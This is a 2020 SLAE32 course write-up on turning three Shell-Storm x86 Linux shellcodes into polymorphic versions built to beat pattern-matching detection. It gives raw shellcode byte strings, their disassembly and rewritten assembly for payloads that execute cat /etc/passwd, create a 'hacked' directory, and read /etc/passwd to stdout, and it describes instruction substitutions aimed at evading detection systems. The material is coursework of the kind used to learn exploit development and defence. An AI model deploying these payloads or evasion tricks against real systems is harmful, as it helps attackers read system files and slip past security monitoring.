Concerned Project Repository
You can find a complete version of the project that is described in this paper on my Github account.
https://github.com/DarkCoderSc/slae32-polymophismAssignment N°6 - Polymorphism
Assignment Goals ( SLAE-1530)
-
Take up 3 shellcodes from Shell-Storm and create polymorphic versions of them to beat pattern matching.
-
The polymorphic versions cannot be larger 150% of the existing shellcode.
-
Bonus points for making it shorter in length than original.
Foreword
On Shell-Storm, you will not always find the original assembly code for shellcodes you choose. To solve this issue, we've created a tiny Python script to convert a shellcode from its string form to raw format (stdout). We can easily pipe output result to Ndisasm
and recover an assembly code very close to the original version.
Converter (Python3)
#!/usr/bin/python3
# Jean-Pierre LESUEUR (@DarkCoderSc)
# www.phrozen.io
# SLAE32
import sys
def bytestr_to_bytearr(data):
return list(bytearray.fromhex(data.replace("\\x", " ")))
if (len(sys.argv) != 2):
print("Usage: shellcode_to_raw.py ")
else:
sys.stdout.buffer.write(bytes(bytestr_to_bytearr(sys.argv[1])))
Usage
local@user:$ chmod +x shellcstr_to_raw.py
local@user:$ ./shellcstr_to_raw.py <shellcode_string> | ndisasm -b32 -
Shellcode N°1 - Read Passwd File.
As first shellcode, we chose the following one : /bin/cat /etc/passwd
Retrieve Assembly Form
We will use our tiny python script to retrieve the assembly form of this shellcode.
local@user:$ ./shellcstr_to_raw.py "\x31\xc0\x99\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80" | ndisasm -b32 -
Result
00000000 31C0 xor eax,eax
00000002 99 cdq
00000003 52 push edx
00000004 682F636174 push dword 0x7461632f
00000009 682F62696E push dword 0x6e69622f
0000000E 89E3 mov ebx,esp
00000010 52 push edx
00000011 6873737764 push dword 0x64777373
00000016 682F2F7061 push dword 0x61702f2f
0000001B 682F657463 push dword 0x6374652f
00000020 89E1 mov ecx,esp
00000022 B00B mov al,0xb
00000024 52 push edx
00000025 51 push ecx
00000026 53 push ebx
00000027 89E1 mov ecx,esp
00000029 CD80 int 0x80
Shellcode Purpose
This shellcode is a basic execve()
call to execute the following command : /bin/sh -c "cat /etc/passwd"
It uses the stack technique to store execve()
parameters.
Original Size is 43 Bytes.
Polymorphic Version
Biggest Changes
Instead of using stack for storing the execve()
command, we will use the Jump Call Pop technique.
We need to store two distinct strings for our execve()
call. To do so, we will store our execve()
payload in the same defined byte array separated by a random byte 0xff
.
On run time, we will replaced the 0xff
delimiter by NULL characters to break the string in two slices (We want to keep target shellcode free from NULL characters).
In addition of that we will use equivalent instructions to achieve the same original goal. For example instead of doing :
xor eax, eax
xor edx, edx
We will do
xor eax, eax
mov edx, eax
etc..
Result
global _start
_start:
jmp short _call
_pop:
xor eax, eax ; initialize eax register
mov edx, eax ; initialize edx
pop ebx ; /bin/cat
mov byte [ebx+0x8], al ; update 0xff with NULL
mov byte [ebx+0x14], al ; update 0xff with NULL
lea ecx, [ebx+0x9] ; place ecx to /etc/passwd
; replace push instructions
push eax ; NULL (EOF Argv)
push ecx ; */etc/passwd
push ebx ; */bin/cat
mov ecx, esp ; **/bin/cat
add al, 0xb ; equal to mov al, 0xb. execve() syscall
int 0x80 ; call syscall()
_call:
call _pop
; /bin/cat /etc/passwd
spell: db 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x63, 0x61, 0x74, 0xff, 0x2f, 0x65, 0x74, 0x63, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x64, 0xff
New Size is 51 Bytes.
Shellcode N°2 - Create new Directory.
For our second shellcode we will use mkdir() && exit() from shell-storm.org.
Retrieve Assembly Form
Like for our first shellcode, we will use our tiny script to recover it original assembly code (as close as possible)
local@user:$ ./shellcstr_to_raw.py "\xeb\x16\x5e\x31\xc0\x88\x46\x06\xb0\x27\x8d\x1e\x66\xb9\xed\x01\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe5\xff\xff\xff\x68\x61\x63\x6b\x65\x64\x23" | ndisasm -b32 -
Result
00000000 EB16 jmp short 0x18
00000002 5E pop esi
00000003 31C0 xor eax,eax
00000005 884606 mov [esi+0x6],al
00000008 B027 mov al,0x27
0000000A 8D1E lea ebx,[esi]
0000000C 66B9ED01 mov cx,0x1ed
00000010 CD80 int 0x80
00000012 B001 mov al,0x1
00000014 31DB xor ebx,ebx
00000016 CD80 int 0x80
00000018 E8E5FFFFFF call 0x2
0000001D 6861636B65 push dword 0x656b6361
00000022 64 fs
00000023 23 db 0x23
Shellcode Purpose
This very small shellcode will create a new directory called hacked on current directory. It will use the mkdir
syscall to achieve his goal.
The hacked string is stored at the end of the shellcode using the Jump Call Pop technique (6861636B6564
).
When directory is created, it will exit gracefully with error code equal to zero.
Original Size is 36 Bytes.
Polymorphic Version
Biggest Changes
This time, we will replace the Jump Call Pop technique by the stack method to store the directory name. Using stack instead of Jump Call Pop will save few bytes for our shellcode.
Apart this change, we will also tweak assembly instructions to achieve same result but using different instructions combinations.
Result
global _start
_start:
xor eax, eax ; initialize eax
cdq ; initialize edx
push ax ; 0 (NULL)
mov cx, 0x6465 ; "de"
push cx ; could also be (push word 0x6465)
push 0x6b636168 ; "kcah"
mov al, 0x27 ; mkdir() syscall
mov ebx, esp ; directory name
mov cx, 0x1ed ; mode
int 0x80 ; call syscall
sub al, 0x26 ; = 0x1, exit() syscall
mov bl, dl ; exit code equal zero
int 0x80 ; call syscall
New Size is 32 Bytes.
Shellcode N°3 - Read File Content.
For our last shellcode, we will choose a more complex one still from shell-storm titled File Reader
Retrieve Assembly Form
Again, we will use our python script to recover the closest possible assembly instructions for our last shellcode.
local@user:$ ./shellcstr_to_raw.py "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x32\x5b\xb0\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x06\xb0\x01\x31\xdb\xcd\x80\x89\xf3\xb0\x03\x83\xec\x01\x8d\x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\xe6\xb0\x04\xb3\x01\xb2\x01\xcd\x80\x83\xc4\x01\xeb\xdf\xe8\xc9\xff\xff\xff" | ndisasm -b32 -
Result
00000000 31C0 xor eax,eax
00000002 31DB xor ebx,ebx
00000004 31C9 xor ecx,ecx
00000006 31D2 xor edx,edx
00000008 EB32 jmp short 0x3c
0000000A 5B pop ebx
0000000B B005 mov al,0x5
0000000D 31C9 xor ecx,ecx
0000000F CD80 int 0x80
00000011 89C6 mov esi,eax
00000013 EB06 jmp short 0x1b
00000015 B001 mov al,0x1
00000017 31DB xor ebx,ebx
00000019 CD80 int 0x80
0000001B 89F3 mov ebx,esi
0000001D B003 mov al,0x3
0000001F 83EC01 sub esp,byte +0x1
00000022 8D0C24 lea ecx,[esp]
00000025 B201 mov dl,0x1
00000027 CD80 int 0x80
00000029 31DB xor ebx,ebx
0000002B 39C3 cmp ebx,eax
0000002D 74E6 jz 0x15
0000002F B004 mov al,0x4
00000031 B301 mov bl,0x1
00000033 B201 mov dl,0x1
00000035 CD80 int 0x80
00000037 83C401 add esp,byte +0x1
0000003A EBDF jmp short 0x1b
0000003C E8C9FFFFFF call 0xa
.string "/etc/passwd"
Shellcode Purpose
The purpose of this shellcode is to read the content of any file and write back to stdout file descriptor.
To do so it will smartly read desired file byte by byte until it fail for any reasons (most likely EOF).
The desired file name must be appended at the end of the shellcode. The shellcode is using Jump Call Pop technique to store the file name.
Polymorphic Version
Biggest Changes
This time we wont switch between Jump Call Pop and Stack techniques for storing strings. We will scramble most instructions to achieve the same goal.
The main objective of this polymorphic version was to:
- Reduce the size of the payload (not to his maximum tho, this is not our goal).
- Achieve the same result while altering most original instructions.
While creating the polymorphic version, we kept in mind registry status at each steps, even through jump calls to create something more difficult to understand.
One example and very efficient to evade some weak detection systems was to used the predictable return value of write()
call, and use it value to reassign a new syscall number.
Result
global _start
_start:
xor ecx, ecx ; initialize ecx
mul ecx ; initialize eax, edx
jmp short _call ; start Jump Call Pop
_pop:
mov ebx, [esp] ; recover filename (equivalent to pop ebx)
add al, 0x6
dec al ; 0x5 open() syscall number
int 0x80 ; call syscall
xchg ebx, eax ; assign file handle to ebx
mov esi, ebx ; copy file handle to esi
xchg eax, ecx ; exchange ecx and eax values (eax = 0)
mov ecx, esp ; our *buffer
inc edx ; read file byte by byte
inc eax ; eax = 1
_read_chunk:
add al, 0x2 ; 0x3 read() syscall number
int 0x80 ; call syscall
cmp eax, edx ; check if eax is equal to edx
jne _exit ; if not equal we've probably reached the EOF
add al, 0x3 ; 0x4 write() syscall number
mov ebx, edx ; edx = 1 so ebx = 1 = stdout file descriptor number
int 0x80 ; call syscall
mov ebx, esi ; restore opened file descriptor (handle)
jmp short _read_chunk ; read next chunk
_exit:
mov al, dl ; edx = 0x1 so eax = 0x1 = exit() syscall
dec edx ; edx = 0
xchg ebx, edx ; ebx = 0
int 0x80 ; call syscall
_call:
call _pop
; filename: db 0x2f, 0x65, 0x74, 0x63, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x64
New Size is 53 Bytes.
Afterword
You will find all codes on the following Github repository : https://github.com/DarkCoderSc/slae32-polymophism
All content on this website is protected by a disclaimer. Please review it before using our site
June 16, 2020, 11:10 a.m. | By Jean-Pierre LESUEUR